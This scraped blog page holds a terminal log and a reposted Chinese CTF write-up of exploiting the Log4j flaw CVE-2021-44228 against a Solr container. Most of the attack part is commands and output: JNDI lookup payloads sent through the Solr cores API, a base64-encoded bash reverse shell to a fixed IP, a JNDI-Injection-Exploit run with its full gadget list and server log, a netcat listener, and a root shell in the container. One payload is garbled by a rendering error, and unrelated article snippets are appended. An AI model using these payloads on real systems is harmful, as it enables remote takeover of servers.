[~/vulhub]/log4j/CVE-2021-44228-20221225

news2024/11/25 4:19:50

[~/vulhub]/log4j/CVE-2021-44228


┌──(kwkl㉿kwkl)-[~/vulhub]
└─$ cd log4j/CVE-2021-44228 
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ dir
1.png  2.png  docker-compose.yml  README.md  README.zh-cn.md
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ docker-compose up -d
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated
  "class": algorithms.Blowfish,
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
8.11.0: Pulling from vulhub/solr
43c265008fae: Pull complete
af36d2c7a148: Pull complete
2b7b4d10e1c1: Pull complete
f264389d8f2f: Pull complete
1a2c46e93f4a: Pull complete
f9506bb322c0: Pull complete
96f5dad14c2c: Pull complete
c387eff49cc3: Pull complete
Digest: sha256:84255b20a2d134fc97bbb0fab7cb826087098ee594fcbc94c3a71def24d31003
Status: Downloaded newer image for vulhub/solr:8.11.0
Creating cve-2021-44228_solr_1 ... done
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ 

┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$ cat docker-compose.yml
version: ‘2’
services:
solr:
image: vulhub/solr:8.11.0
ports:

  • “8983:8983”

┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228]
└─$

http://localhost:8983/solr/#/~logging

image-20221225204840851

http://localhost:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.j2ta3w.dnslog.cn}

image-20221225212249094

image-20221225212305198

image-20221225213222750

reverse shell

1.bash -i >& /dev/tcp/your_ip/6666 0>&1

2.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码}|{base64,-d}|{bash,-i}” -A “服务器IP”

or

JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar

java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C “bash -c {echo,base64编码}|{base64,-d}|{bash,-i}” -A “服务器IP”

echo ‘bash -i >&/dev/tcp/10.10.10.140/1234 0>&1’ | base64

┌──(kwkl㉿kwkl)-[~]
└─$ echo ‘bash -i >&/dev/tcp/10.10.10.140/1234 0>&1’ | base64
YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK

java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}” -A “10.10.10.140”

${jndi:ldap://10.10.10.140:1389/2u3m9p}

image-20221225215527022

image-20221225215629695

run Jodi server

                                                                                                                                                                               

                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ echo 'bash -i >&/dev/tcp/10.10.10.140/1234 0>&1' | base64 
YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~]
└─$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar  -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "10.10.10.140"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
log4j:WARN No appenders could be found for logger (org.eclipse.jetty.util.log).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
[rmiADDRESS] >> rmi://10.10.10.140:1099
[ldapADDRESS] >> ldap://10.10.10.140:1389
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjEwLjE0MC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}
----------------------------JNDI Remote Refenrence Links---------------------------- 
- Target environment: [RCE] Build in JDK 1.6
  <Dependencies>: trustURLCodebase is true [RMI: JRE<6u141] [LDAP: JRE<6u201]                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [rmiADDRESS|ldapADDRESS]/remoteExploit6
- Target environment: [RCE] Build in JDK 1.7
  <Dependencies>: trustURLCodebase is true [RMI: JRE<7u131] [LDAP: JRE<7u191]                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [rmiADDRESS|ldapADDRESS]/remoteExploit7
- Target environment: [RCE] Build in JDK 1.8
  <Dependencies>: trustURLCodebase is true [RMI: JRE<8u121] [LDAP: JRE<8u182]                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [rmiADDRESS|ldapADDRESS]/remoteExploit8

----------------------------JNDI Local Refenrence Links---------------------------- 
- Target environment: [RCE] Tomcat 8+ or SpringBoot 1.2.x+
  <Dependencies>: trustURLCodebase is false but have Tomcat 8+ or SpringBoot 1.2.x+ in classpath                                                                                 
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [rmiADDRESS|ldapADDRESS]/localExploitel
- Target environment: [RCE] Tomcat and Groovy (GroovyClassLoader)
  <Dependencies>: trustURLCodebase is false but have Tomcat and Groovy in classpath                                                                                              
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [rmiADDRESS|ldapADDRESS]/localGroovy1
- Target environment: [RCE] Tomcat and Groovy (GroovyShell)
  <Dependencies>: trustURLCodebase is false and but Tomcat and Groovy in classpath                                                                                               
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [rmiADDRESS|ldapADDRESS]/localGroovy2
- Target environment: [ReadFile] WebSphere v6-v9
  <Dependencies>: trustURLCodebase is false but have WebSphere v6-v9 in classpath, but file content will stop util '#' or '?' or EOF.                                            
  <Example CMD> : '<filename>'                                                                                                                                                   
  <EXP Address> : [rmiADDRESS|ldapADDRESS]/localWebsphere

-----------------------------JNDI Deserialization Links---------------------------- 
- Target environment: [WriteFile] AspectJWeaver.
  <Dependencies>: { aspectjweaver:1.9.2, commons-collections:3.2.2 }                                                                                                             
  <Example CMD> : '<filename>;<base64 of your content>'                                                                                                                          
  <EXP Address> : [ldapADDRESS]/deserialAspectJWeaver
- Target environment: [RCE] BeanShell1
  <Dependencies>: { bsh:2.0b5 }                                                                                                                                                  
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialBeanShell1
- Target environment: [RCE] Click1.
  <Dependencies>: { click-nodeps:2.3.0, javax.servlet-api:3.1.0 }                                                                                                                
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialClick1
- Target environment: [RCE] Clojure.
  <Dependencies>: { clojure:1.8.0 }                                                                                                                                              
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialClojure
- Target environment: [RCE] CommonsBeanutils1
  <Dependencies>: { commons-beanutils:1.9.2 }                                                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsBeanutils1
- Target environment: [RCE] CommonsBeanutils2
  <Dependencies>: { commons-beanutils:1.9.2 }                                                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsBeanutils2
- Target environment: [RCE] CommonsCollections1
  <Dependencies>: { JRE <= 8u71, commons-collections:3.1 }                                                                                                                       
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections1
- Target environment: [RCE] CommonsCollections10
  <Dependencies>: { commons-collections:3.2.1 }                                                                                                                                  
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections10
- Target environment: [RCE] CommonsCollections2
  <Dependencies>: { commons-collections4:4.0 }                                                                                                                                   
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections2
- Target environment: [RCE] CommonsCollections3
  <Dependencies>: { 8 < JRE <= 8u71, commons-collections:3.1 }                                                                                                                   
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections3
- Target environment: [RCE] CommonsCollections4
  <Dependencies>: { commons-collections4:4.0 }                                                                                                                                   
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections4
- Target environment: [RCE] CommonsCollections5
  <Dependencies>: { JRE >= 8u76, commons-collections:3.1 }                                                                                                                       
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections5
- Target environment: [RCE] CommonsCollections6
  <Dependencies>: { commons-collections:3.1 }                                                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections6
- Target environment: [RCE] CommonsCollections7
  <Dependencies>: { commons-collections:3.1 }                                                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections7
- Target environment: [RCE] CommonsCollections8
  <Dependencies>: { commons-collections4:4.0 }                                                                                                                                   
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections8
- Target environment: [RCE] CommonsCollections9
  <Dependencies>: { commons-collections:3.1 }                                                                                                                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialCommonsCollections9
- Target environment: [WriteFile] FileUpload1
  <Dependencies>: { commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4 }                                                                                     
  <Example CMD> : 'copyAndDelete;sourceFile;destDir'                                                                                                                             
                  'write;destDir;ascii-data'                                                                                                                                     
                  'writeB64;destDir;base64-data'                                                                                                                                 
                  'writeOld;destFile;ascii-data'                                                                                                                                 
                  'writeOldB64;destFile;base64-data'                                                                                                                             
  <EXP Address> : [ldapADDRESS]/deserialFileUpload1
- Target environment: [RCE] Groovy1
  <Dependencies>: { org.codehaus.groovy:groovy:2.3.9 }                                                                                                                           
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialGroovy1
- Target environment: [RCE] Hibernate1
  <Dependencies>: { JRE >= 7, org.hibernate:hibernate-core:5.0.7.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2 }                                                                                                                                                                   
                  { JRE > 7, org.hibernate:hibernate-core:4.3.11.Final, aopalliance:aopalliance:1.0, org.jboss.logging:jboss-logging:3.3.0.Final, javax.transaction:javax.transaction-api:1.2, dom4j:dom4j:1.6.1 }                                                                                                                                                
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialHibernate1
- Target environment: [RCE] JBossInterceptors1
  <Dependencies>: { JRE >= 7, javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21 }                                                                       
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialJBossInterceptors1
- Target environment: [RCE] JSON1
  <Dependencies>: { net.sf.json-lib:json-lib:jar:jdk15:2.4, org.springframework:spring-aop:4.1.4.RELEASE }                                                                       
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialJSON1
- Target environment: [RCE] JavassistWeld1
  <Dependencies>: { JRE >= 7, javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21 }                                                                                          
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialJavassistWeld1
- Target environment: [RCE] Jython1: Where local path is the python script's location on the attack box and remote path is the location where the script will be written/executed from.                                                                                                                                                                           
  <Dependencies>: { org.python:jython-standalone:2.5.2 }                                                                                                                         
  <Example CMD> : '/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py'                                                                                                      
  <EXP Address> : [ldapADDRESS]/deserialJython1
- Target environment: [RCE] MozillaRhino1
  <Dependencies>: { JRE >= 8u76, rhino:js:1.7R2 }                                                                                                                                
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialMozillaRhino1
- Target environment: [RCE] MozillaRhino2
  <Dependencies>: { rhino:js:1.7R2 }                                                                                                                                             
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialMozillaRhino2
- Target environment: [RCE] Myfaces1
  <Dependencies>: { org.apache.myfaces.core:myfaces-impl:2.2.9 }                                                                                                                 
  <Example CMD> : an EL expression to execute                                                                                                                                    
  <EXP Address> : [ldapADDRESS]/deserialMyfaces1
- Target environment: [RCE] ROME1
  <Dependencies>: { rome:rome:1.0 }                                                                                                                                              
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialROME1
- Target environment: [RCE] ROME2
  <Dependencies>: { rome:rome:1.0 }                                                                                                                                              
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialROME2
- Target environment: [RCE] Spring1
  <Dependencies>: { JRE < 8 or 8 < JRE <= 8u71, org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE }                                  
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialSpring1
- Target environment: [RCE] Spring2
  <Dependencies>: { JRE < 8 or 8 < JRE <= 8u71, org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-aop:4.1.4.RELEASE }                                    
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialSpring2
- Target environment: [DNS] URLDNS
  <Dependencies>: {  }                                                                                                                                                           
  <Example CMD> : 'http://dnslog.cn'                                                                                                                                             
  <EXP Address> : [ldapADDRESS]/deserialURLDNS
- Target environment: [RCE] Vaadin1
  <Dependencies>: { com.vaadin:vaadin-server:7.7.14, com.vaadin:vaadin-shared:7.7.14 }                                                                                           
  <Example CMD> : '/System/Applications/Calculator.app/Contents/MacOS/Calculator'                                                                                                
  <EXP Address> : [ldapADDRESS]/deserialVaadin1
- Target environment: [WriteFile] Wicket1
  <Dependencies>: { org.apache.wicket:wicket-util:6.23.0 }                                                                                                                       
  <Example CMD> : 'copyAndDelete;sourceFile;destDir'                                                                                                                             
                  'write;destDir;ascii-data'                                                                                                                                     
                  'writeB64;destDir;base64-data'                                                                                                                                 
                  'writeOld;destFile;ascii-data'                                                                                                                                 
                  'writeOldB64;destFile;base64-data'                                                                                                                             
  <EXP Address> : [ldapADDRESS]/deserialWicket1

----------------------------Server Log----------------------------
2022-12-25 21:50:07 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-12-25 21:50:07 [RMISERVER]  >> Listening on 0.0.0.0:1099
2022-12-25 21:50:07 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2022-12-25 21:54:46 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:46 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:46 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:46 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [LDAPSERVER] [RemoteReference] >> Send remote LDAP reference result for remoteExploit8 redirecting to http://10.10.10.140:8180/ExecTemplateJDK8.class
2022-12-25 21:54:47 [JETTYSERVER]>> Log a request to http://10.10.10.140:8180/ExecTemplateJDK8.class


image-20221225215507305

listening port

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvnp 1234         
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.18.0.2.
Ncat: Connection from 172.18.0.2:33580.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@4a020dd74b40:/opt/solr/server# 

root@4a020dd74b40:/opt/solr/server# 

root@4a020dd74b40:/opt/solr/server# ls
ls
README.txt
contexts
etc
lib
logs
modules
resources
scripts
solr
solr-webapp
start.jar
root@4a020dd74b40:/opt/solr/server# ls
ls
README.txt
contexts
etc
lib
logs
modules
resources
scripts
solr
solr-webapp
start.jar
root@4a020dd74b40:/opt/solr/server# ls /root

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/download/1.8/JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar

文章目录

前言
工具
Log4j 漏洞测试
Log4j 反弹shell
后记
前言

比赛出了一个题目,发现有log4j漏洞但是需要反弹shell才能拿到flag,一开始试了几个工具都没有成功反弹shell,直到看到了这篇优秀博文,在此感谢这位师傅~
本文记录一下log4j反弹shell的这个过程,仅供各位师傅参考~

去更远的地方 见更亮的光
工具

测试了部分工具发现这个比较好用一点,可以直接github下载也可以到我的网盘上下载
girhub:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
网盘链接:https://pan.baidu.com/s/13cz9sZzMJcF9s1y7E7sOWw
提取码:qwer

Log4j 漏洞测试

题目给了一个solr环境,通过首页可以看到版本为8.11.0

在DNSLog上获取一个域名

通过solr的API测试log4j漏洞是否存在,具体的payload如下:

/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.jprd1u.dnslog.cn}
1

在DNSlog平台上成功回显

至此可以推测目标环境存在log4j漏洞

Log4j 反弹shell

接下来就需要用到上面的工具和一台公网服务器了,首先把工具上传,将反弹shell的命令进行base64编码:

bash -i >& /dev/tcp/your_ip/6666 0>&1
1
用base64在线网站进行编码后填入下面的命令中,同时需要填入服务器的IP地址

执行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,base64编码}|{base64,-d}|{bash,-i}” -A “服务器IP”
1

接下来在服务器上开启监听,我这里用的是5555端口

nc -lvp 5555
1
根据目标环境选择payload如下:

${jndi:ldap://IP:1389/2u3m9p}
1
用payload进行测试

成功反弹shell

后记

如有其他疑问欢迎评论留言~
————————————————
版权声明:本文为CSDN博主「monster663」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/monster663/article/details/126806732

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/114575.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JSP ssh学生信息管理系统myeclipse开发mysql数据库MVC模式java编程计算机网页设计

一、源码特点 JSP ssh 学生信息管理系统是一套完善的web设计系统&#xff08;系统采用ssh框架进行设计开发&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用 B/S模式开发。开发环境为TOMCAT7.…

TCP 报文段的格式(计算机网络-运输层)

目录 TCP 报文段的格式 TCP 报文段的格式 TCP虽然是面向字节流的&#xff0c;但TCP传送的数据单元却是报文段 TCP 报文段分为首部和数据两部分。TCP 的全部功能都体现在它首部中各字段的作用 TCP 报文段首部的前 20个 字节是固定的&#xff0c;后面有 4N 字节是根据需要而增加…

在linux上安装CMake

在linux上安装CMake一、下载CMake安装包二、配置环境变量三、验证是否能执行CMake四、CMake官方文档一、下载CMake安装包 本文演示环境为Linux系统&#xff0c;Redhat7 64位。 CMake提供了两种安装方式&#xff0c;一种是预编译好的二进制包&#xff0c;还有一种就是源码方式…

GateWay网关

GateWay 1. 什么是网关 网关是微服务最边缘的服务&#xff0c;直接暴露给用户&#xff0c;用来做用户和微服务的桥梁 没有网关&#xff1a;客户端直接访问我们的微服务&#xff0c;会需要在客户端配置很多的ip&#xff1a;port&#xff0c;如果user-service并发比较大&#x…

Unity URP 曲面细分

Unity URP 曲面细分 我终于变得不像我 文章目录Unity URP 曲面细分1 曲面细分与镶嵌1.1 外壳着色器 Hull Shader1.2 镶嵌器阶段 Tessellator1.3 域着色器阶段 Domain Shader2 具体实现2.2 不同的细分策略2.2.1 Flat Tessellation2.2.2 PN Tessellation2.2.3 Phone Tessellation…

Redis分布式锁的实现方式

目录一、分布式锁是什么1、获取锁2、释放锁二、代码实例上面代码存在锁误删问题&#xff1a;三、基于SETNX实现的分布式锁存在下面几个问题1、不可重入2、不可重试3、超时释放4、主从一致性四、Redisson实现分布式锁1、pom2、配置类3、测试类五、探索tryLock源码1、tryLock源码…

微软发布 Entity Framework EF Core 8 或 EF8

Entity Framework 现已被广泛使用&#xff0c;微软首席软件工程经理 Arthur Vickers 日前在一个在线社区会议上的发言。 Entity Framework Core 8.0&#xff08;也称为 EF Core 8 或 EF8&#xff09;的未来规划。EF Core 8 是 EF Core 7 之后的下一个版本&#xff0c;这将是一个…

链表的实现:无头单向非循环链表的实现

笔者在上篇博客书写了一个名为&#xff1a;链式存储之&#xff1a;链表的引出及其简介原文链接为&#xff1a;https://blog.csdn.net/weixin_64308540/article/details/128374876?spm1001.2014.3001.5501对于此篇博客&#xff0c;在一写出来&#xff0c;便引起了巨大反响&…

Golang 【basic_leaming】函数详解

阅读目录1、函数定义2、函数的调用3、函数参数4、函数返回值5、函数变量作用域全局变量局部变量6、函数类型与变量定义函数类型函数类型变量7、高阶函数函数作为参数函数作为返回值8、匿名函数和闭包匿名函数闭包闭包进阶示例1闭包进阶示例2闭包进阶示例39、defer 语句defer 执…

Windows-试用phpthink发现原来可这样快速搭建mysql、redis等环境、xdebug

一、前言 最近在简单学习 php 国人框架 phpthink&#xff0c;不得不说牛&#xff0c;我在 github 上既然搜不到此项目… 但是发现搭建依赖环境不会&#xff0c;于是百度一下&#xff0c;几乎都是各种集成工具什么宝塔、小皮面板等等。有固然是方便&#xff0c;但为什么其它语言…

DAY5 Recommended system cold startup problem

推荐系统的冷启动问题 推荐系统冷启动概念 ⽤户冷启动&#xff1a;如何为新⽤户做个性化推荐物品冷启动&#xff1a;如何将新物品推荐给⽤户&#xff08;协同过滤&#xff09;系统冷启动&#xff1a;⽤户冷启动物品冷启动本质是推荐系统依赖历史数据&#xff0c;没有历史数据⽆…

html+圣诞树

圣诞节 基督教纪念耶稣诞生的重要节日。亦称耶稣圣诞节、主降生节&#xff0c;天主教亦称耶稣圣诞瞻礼。耶稣诞生的日期&#xff0c;《圣经》并无记载。公元336年罗马教会开始在12月25日过此节。12月25日原是罗马帝国规定的太阳神诞辰。有人认为选择这天庆祝圣诞&#xff0c;是…

【学习打卡07】 可解释机器学习笔记之Shape+Lime代码实战

可解释机器学习笔记之ShapeLime代码实战 文章目录可解释机器学习笔记之ShapeLime代码实战基于Shapley值的可解释性分析使用Pytorch对MNIST分类可解释性分析使用shap的Deep Explainer进行可视化使用Pytorch对预训练ImageNet图像分类可解释性分析指定单个预测类别指定多个预测类别…

Elasticsearch 核心技术(一):Elasticsearch 安装、配置、运行(Windows 版)

❤️ 个人主页&#xff1a;水滴技术 &#x1f680; 支持水滴&#xff1a;点赞&#x1f44d; 收藏⭐ 留言&#x1f4ac; &#x1f338; 订阅专栏&#xff1a;大数据核心技术从入门到精通 文章目录一、Elasticsearch 版本的选择二、下载 **Elasticsearch**三、安装 Elasticsear…

Springboot+Netty实现基于天翼物联网平台CTWing(AIOT)终端TCP协议(透传模式)-云服务端(IOT平台)

之前有文章用java实现了设备端和应用订阅端&#xff0c;那么我根据AIOT的协议也可以实现一个demo物联网平台端&#xff0c;这种简易的平台是实现自己搭建物联网平台的基础。 直接用代码 新建Springboot的maven项目&#xff0c;pom.xml文件导入依赖包&#xff08;用到了swagge…

UDP协议在Windows上使用示例

UDP(User Datagram Protocol&#xff0c;用户数据报协议)是无连接的&#xff0c;因此在两个进程通信前没有握手过程。UDP协议提供一种不可靠数据传送服务&#xff0c;也就是说&#xff0c;当进程将一个报文发送进UDP套接字时&#xff0c;UDP协议并不保证该报文将到达接收进程。…

过孔基础常识

过孔&#xff0c;一个绝大多数硬件工程师都听说过&#xff0c;但又并非真正了解的名词。了解的都知道&#xff0c;其在PCB板中其着至关重要的的作用。没有过孔的存在&#xff0c;很难画出一块完美的PCB板。所以呢&#xff0c;小编今日就带大家了解了解什么是过孔。 什么是过孔…

FCN代码及效果展示

1. 代码获取 代码地址: https://github.com/Le0v1n/ml_code/tree/main/Segmentation/FCN 2. 从头开始训练 2.1 测试平台 GPU&#xff1a;NVIDIA RTX 3070CPU: Intel I5-10400FRAM: 16GBOS: Windows 11Dataset: VOC2012Class num: 21(201)Batch size: 4Learning Rate: 0.1Ep…

嘉兴经开区第四届创新创业大赛总决赛成功举办

12月21日至12月22日&#xff0c;嘉兴经济技术开发区第四届创新创业大赛总决赛成功举办&#xff0c;经过激烈角逐最后共有10家企业分别获得大赛初创组和成长组的一二三等奖。 总决赛现场 嘉兴经开区第四届中国创新创业大赛于6月正式启动&#xff0c;陆续在嘉兴、成都、北京、西…

【详细学习SpringBoot源码之内嵌Tomcat启动原理分析编译部署Tomcat源码过程解析-9】

一.知识回顾 【0.SpringBoot专栏的相关文章都在这里哟&#xff0c;后续更多的文章内容可以点击查看】 【1.SpringBoot初识之Spring注解发展流程以及常用的Spring和SpringBoot注解】 【2.SpringBoot自动装配之SPI机制&SPI案例实操学习&SPI机制核心源码学习】 【3.详细学…